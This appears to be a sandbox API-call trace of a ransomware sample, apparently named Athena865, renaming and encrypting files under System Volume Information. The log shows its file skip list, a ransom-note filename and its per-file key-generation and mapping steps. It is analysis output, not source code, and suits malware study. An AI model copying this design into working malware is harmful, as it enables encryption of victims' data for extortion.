[0099.823] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.824] CloseHandle (hObject=0x154) returned 1 [0099.824] CloseHandle (hObject=0x17c) returned 1 [0099.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.824] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xb28eccf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb28eccf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xb28eccf0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xdb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", cAlternateFileName="{BBEE4~1")) returned 1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.824] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.824] lstrlenW (lpString="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp") returned 57 [0099.824] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp" | out: lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp") returned="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp" [0099.824] lstrlenW (lpString="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp") returned 57 [0099.825] lstrlenW (lpString="Athena865") returned 9 [0099.825] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.825] lstrlenW (lpString=".dll") returned 4 [0099.825] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.825] lstrlenW (lpString=".lnk") returned 4 [0099.825] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.825] lstrlenW (lpString=".ini") returned 4 [0099.825] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.825] lstrlenW (lpString=".sys") returned 4 [0099.825] lstrcmpiW (lpString1="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.825] lstrlenW (lpString="{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp") returned 57 [0099.825] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp.Athena865") returned 120 [0099.825] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.826] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.826] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3512) returned 1 [0099.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.826] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.827] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.827] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.827] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10c0, lpName=0x0) returned 0x154 [0099.829] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10c0) returned 0x100000 [0099.830] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.830] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.831] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.831] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.831] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.831] CloseHandle (hObject=0x154) returned 1 [0099.831] CloseHandle (hObject=0x17c) returned 1 [0099.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.832] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.832] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xbfdd1c90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xbfdd1c90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbfdd1c90, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", cAlternateFileName="{C3F59~1")) returned 1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.832] lstrlenW (lpString="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp") returned 57 [0099.832] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp" | out: lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp") returned="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp" [0099.832] lstrlenW (lpString="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp") returned 57 [0099.832] lstrlenW (lpString="Athena865") returned 9 [0099.832] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.832] lstrlenW (lpString=".dll") returned 4 [0099.832] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.832] lstrlenW (lpString=".lnk") returned 4 [0099.833] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.833] lstrlenW (lpString=".ini") returned 4 [0099.833] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.833] lstrlenW (lpString=".sys") returned 4 [0099.833] lstrcmpiW (lpString1="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.833] lstrlenW (lpString="{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp") returned 57 [0099.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp.Athena865") returned 120 [0099.833] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c3f59859-dd84-4710-b6be-740f016ad023}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c3f59859-dd84-4710-b6be-740f016ad023}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.834] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c3f59859-dd84-4710-b6be-740f016ad023}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c3f59859-dd84-4710-b6be-740f016ad023}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.834] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3608) returned 1 [0099.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.835] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.835] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.835] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.836] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x154 [0099.837] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000 [0099.838] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.838] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.838] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.838] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.839] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.839] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.839] CloseHandle (hObject=0x154) returned 1 [0099.839] CloseHandle (hObject=0x17c) returned 1 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.840] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x99c95440, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x99c95440, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x99c95440, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", cAlternateFileName="{C4C23~1")) returned 1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.840] lstrlenW (lpString="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp") returned 57 [0099.840] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp" | out: lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp") returned="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp" [0099.840] lstrlenW (lpString="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp") returned 57 [0099.840] lstrlenW (lpString="Athena865") returned 9 [0099.840] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.840] lstrlenW (lpString=".dll") returned 4 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.840] lstrlenW (lpString=".lnk") returned 4 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.840] lstrlenW (lpString=".ini") returned 4 [0099.840] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.840] lstrlenW (lpString=".sys") returned 4 [0099.841] lstrcmpiW (lpString1="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.841] lstrlenW (lpString="{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp") returned 57 [0099.841] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp.Athena865") returned 120 [0099.841] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.841] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{c4c23d0f-5069-470f-9760-27eb797f66c2}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.842] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1488) returned 1 [0099.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.842] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.843] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.843] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.843] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d0, lpName=0x0) returned 0x154 [0099.844] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d0) returned 0x100000 [0099.845] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.846] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.846] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.846] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.847] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.847] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.847] CloseHandle (hObject=0x154) returned 1 [0099.847] CloseHandle (hObject=0x17c) returned 1 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.847] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.847] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2f80f740, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f80f740, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2f80f740, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", cAlternateFileName="{C8612~1")) returned 1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.848] lstrcmpiW (lpString1="{c861246c-5d84-4ff4-a753-bad4631d65ca}_OnDiskSnapshotProp", lpString2=".") returned 1 